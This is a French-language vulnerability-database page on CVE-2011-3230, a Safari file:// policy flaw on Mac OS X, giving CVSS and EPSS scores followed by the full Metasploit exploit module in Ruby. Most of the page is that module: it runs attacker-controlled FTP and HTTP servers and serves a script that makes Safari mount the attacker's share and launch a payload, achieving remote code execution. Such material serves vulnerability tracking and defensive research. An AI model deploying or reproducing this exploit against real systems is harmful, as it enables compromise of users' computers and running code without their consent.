CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
Apple Safari before 5.1.1 on Mac OS X does not enforce an intended policy for file: URLs, which allows remote attackers to execute arbitrary code via a crafted web site.
Category : Permissions, Privileges, and Access Controls Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V2
6.8
AV:N/AC:M/Au:N/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
76.83%
–
–
2022-04-03
–
–
75.76%
–
–
2023-03-12
–
–
–
94.69%
–
2023-05-14
–
–
–
94.42%
–
2023-07-16
–
–
–
93.57%
–
2023-09-10
–
–
–
89.69%
–
2023-11-05
–
–
–
90.89%
–
2023-12-31
–
–
–
90.63%
–
2024-02-25
–
–
–
92.75%
–
2024-04-14
–
–
–
93.32%
–
2024-06-02
–
–
–
93.32%
–
2024-06-09
–
–
–
93.72%
–
2024-09-15
–
–
–
93.13%
–
2024-12-22
–
–
–
91.79%
–
2025-03-16
–
–
–
92.6%
–
2025-01-19
–
–
–
91.79%
–
2025-03-18
–
–
–
–
72.03%
2025-03-18
–
–
–
–
72.03,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2011-10-16 22h00 +00:00 Auteur : Metasploit EDB Vérifié : Yes
##
# $Id: safari_file_policy.rb 13967 2011-10-17 03:49:49Z todb $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'rex/service_manager'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::FtpServer
def initialize(info={})
super(update_info(info,
'Name' => "Apple Safari file:// Arbitrary Code Execution",
'Description' => %q{
This module exploits a vulnerability found in Apple Safari on OSX platform.
A policy issue in the handling of file:// URLs may allow arbitrary remote code
execution under the context of the user.
In order to trigger arbitrary remote code execution, the best way seems to
be opening a share on the victim machine first (this can be SMB/WebDav/FTP, or
a fileformat that OSX might automount), and then execute it in /Volumes/[share].
If there's some kind of bug that leaks the victim machine's current username,
then it's also possible to execute the payload in /Users/[username]/Downloads/,
or else bruteforce your way to getting that information.
Please note that non-java payloads (*.sh extension) might get launched by
Xcode instead of executing it, in that case please try the Java ones instead.
},
'License' => MSF_LICENSE,
'Version' => "$Revision: 13967 $",
'Author' =>
[
'Aaron Sigel', # Initial discovery
'sinn3r', # Metasploit (also big thanks to HD, and bannedit)
],
'References' =>
[
['CVE', '2011-3230'],
['URL', 'http://vttynotes.blogspot.com/2011/10/cve-2011-3230-launch-any-file-path-from.html#comments'],
['URL', 'http://support.apple.com/kb/HT5000']
],
'Payload' =>
{
'BadChars' => "",
},
'DefaultOptions' =>
{
'ExitFunction' => "none",
},
'Platform' => [ 'unix', 'osx', 'java' ],
'Arch' => [ ARCH_CMD, ARCH_JAVA ],
'Targets' =>
[
[ 'Safari 5.1 on OSX', {} ],
[ 'Safari 5.1 on OSX with Java', {} ]
],
'Privileged' => true,
'DisclosureDate' => "Oct 12 2011", #Blog date
'DefaultTarget' => 0))
register_options(
[
OptString.new("URIPATH", [false, 'The URI to use for this exploit (default is random)']),
OptPort.new('SRVPORT', [true, "The local port to use for the FTP server (Do not change)", 21 ]),
OptPort.new('HTTPPORT', [true, "The HTTP server port", 80])
], self.class )
end
#
# Start the FTP aand HTTP server
#
def exploit
# The correct extension name is necessary because that's how the LauncherServices
# determines how to open the file.
ext = (target.name =~ /java/i) ? '.jar' : '.sh'
@payload_name = Rex::Text.rand_text_alpha(4 + rand(16)) + ext
# Start the FTP server
start_service()
print_status("Local FTP: #{lookup_lhost}:#{datastore['SRVPORT']}")
# Create our own HTTP server
# We will stay in this functino until we manually terminate execution
start_http()
end
#
# Lookup the right address for the client
#
def lookup_lhost(c=nil)
# Get the source address
if datastore['SRVHOST'] == '0.0.0.0'
Rex::Socket.source_address( c || '50.50.50.50')
else
datastore['SRVHOST']
end
end
#
# Override the client connection method and
# initialize our payload
#
def on_client_connect(c)
r = super(c)
@state[c][:payload] = regenerate_payload(c).encoded
r
end
#
# Handle FTP LIST request (send back the directory listing)
#
def on_client_command_list(c, arg)
conn = establish_data_connection(c)
if not conn
c.put("425 Can't build data connection\r\n")
return
end
print_status("Data connection setup")
c.put("150 Here comes the directory listing\r\n")
print_status("Sending directory list via data connection")
month_names = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec']
m = month_names[Time.now.month-1]
d = Time.now.day
y = Time.now.year
dir = "-rwxr-xr-x 1 ftp ftp #{@state[c][:payload].length.to_s} #{m} #{d} #{y} #{@payload_name}\r\n"
conn.put(dir)
conn.close
print_status("Directory sent ok")
c.put("226 Transfer ok\r\n")
return
end
#
# Handle the FTP RETR request. This is where we transfer our actual malicious payload
#
def on_client_command_retr(c, arg)
conn = establish_data_connection(c)
if not conn
c.put("425 can't build data connection\r\n")
return
end
print_status("Connection for file transfer accepted")
c.put("150 Connection accepted\r\n")
# Send out payload
conn.put(@state[c][:payload])
conn.close
return
end
#
# Handle the HTTP request and return a response. Code borrorwed from:
# msf/core/exploit/http/server.rb
#
def start_http(opts={})
# Ensture all dependencies are present before initializing HTTP
use_zlib
comm = datastore['ListenerComm']
if (comm.to_s == "local")
comm = ::Rex::Socket::Comm::Local
else
comm = nil
end
# Default the server host / port
opts = {
'ServerHost' => datastore['SRVHOST'],
'ServerPort' => datastore['HTTPPORT'],
'Comm' => comm
}.update(opts)
# Start a new HTTP server
@http_service = Rex::ServiceManager.start(
Rex::Proto::Http::Server,
opts['ServerPort'].to_i,
opts['ServerHost'],
datastore['SSL'],
{
'Msf' => framework,
'MsfExploit' => self,
},
opts['Comm'],
datastore['SSLCert']
)
@http_service.server_name = datastore['HTTP::server_name']
# Default the procedure of the URI to on_request_uri if one isn't
# provided.
uopts = {
'Proc' => Proc.new { |cli, req|
on_request_uri(cli, req)
},
'Path' => resource_uri
}.update(opts['Uri'] || {})
proto = (datastore["SSL"] ? "https" : "http")
print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")
if (opts['ServerHost'] == '0.0.0.0')
print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}")
end
# Add path to resource
@service_path = uopts['Path']
@http_service.add_resource(uopts['Path'], uopts)
# As long as we have the http_service object, we will keep the ftp server alive
while @http_service
select(nil, nil, nil, 1)
end
end
#
# Kill HTTP/FTP (shut them down and clear resources)
#
def cleanup
super
# Kill FTP
stop_service()
# clear my resource, deregister ref, stop/close the HTTP socket
begin
@http_service.remove_resource(datastore['URIPATH'])
@http_service.deref
@http_service.stop
@http_service.close
@http_service = nil
rescue
end
end
#
# Ensures that gzip can be used. If not, an exception is generated. The
# exception is only raised if the DisableGzip advanced option has not been
# set.
#
def use_zlib
if (!Rex::Text.zlib_present? and datastore['HTTP::compression'] == true)
raise RuntimeError, "zlib support was not detected, yet the HTTP::compression option was set. Don't do that!"
end
end
#
# Returns the configured (or random, if not configured) URI path
#
def resource_uri
path = datastore['URIPATH'] || random_uri
path = '/' + path if path !~ /^\//
datastore['URIPATH'] = path
return path
end
#
# Handle HTTP requets and responses
#
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
if agent !~ /Macintosh; Intel Mac OS X/ or agent !~ /Version\/5\.\d Safari\/(\d+)\.(\d+)/
print_error("Unsupported target: #{agent}")
send_response(cli, 404, "Not Found", "<h1>404 - Not Found</h1>")
return
end
html = <<-HTML
<html>
<head>
<base href="file://">
<script>
function launch() {
document.location = "/Volumes/#{lookup_lhost}/#{@payload_name}";
}
function share() {
document.location = "ftp://anonymous:anonymous@#{lookup_lhost}/";
setTimeout("launch()", 2000);
}
share();
</script>
</head>
<body>
</body>
</html>
HTML
send_response(cli, 200, 'OK', html)
end
#
# Create an HTTP response and then send it
#
def send_response(cli, code, message='OK', html='')
proto = Rex::Proto::Http::DefaultProtocol
res = Rex::Proto::Http::Response.new(code, message, proto)
res['Content-Type'] = 'text/html'
res.body = html
cli.send_response(res)
end
end
=begin
- Need to find a suitable payload that can be executed without warning.
Certain executables cannot be executed due to permission issues. A jar file doesn't have this
problem, but we still get a "Are you sure?" warning before it can be executed.
- Allow user-specified port to automount the share
- Allow ftp USERNAME/PASSWORD (optional)
=end